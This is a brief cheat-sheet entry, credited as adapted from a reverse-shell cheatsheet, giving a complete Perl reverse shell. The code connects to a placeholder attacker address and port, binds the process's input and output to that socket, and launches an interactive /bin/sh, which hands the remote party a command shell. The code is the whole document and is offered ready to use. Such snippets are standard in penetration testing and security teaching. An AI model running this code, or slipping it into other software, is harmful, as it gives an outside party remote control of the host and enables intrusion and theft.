Note
Adapted from slyth11907 / Cheatsheets / Cheatsheet_ReverseShells.
A simple reverse shell:
use Socket;
$attacker_ip="10.0.0.1";
$attacker_port=1234;
socket(S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if(connect(S,sockaddr_in($attacker_port, inet_aton($attacker_ip)))){
open(STDIN, ">&S");
open(STDOUT, ">&S");
open(STDERR, ">&S");
exec("/bin/sh -i");
};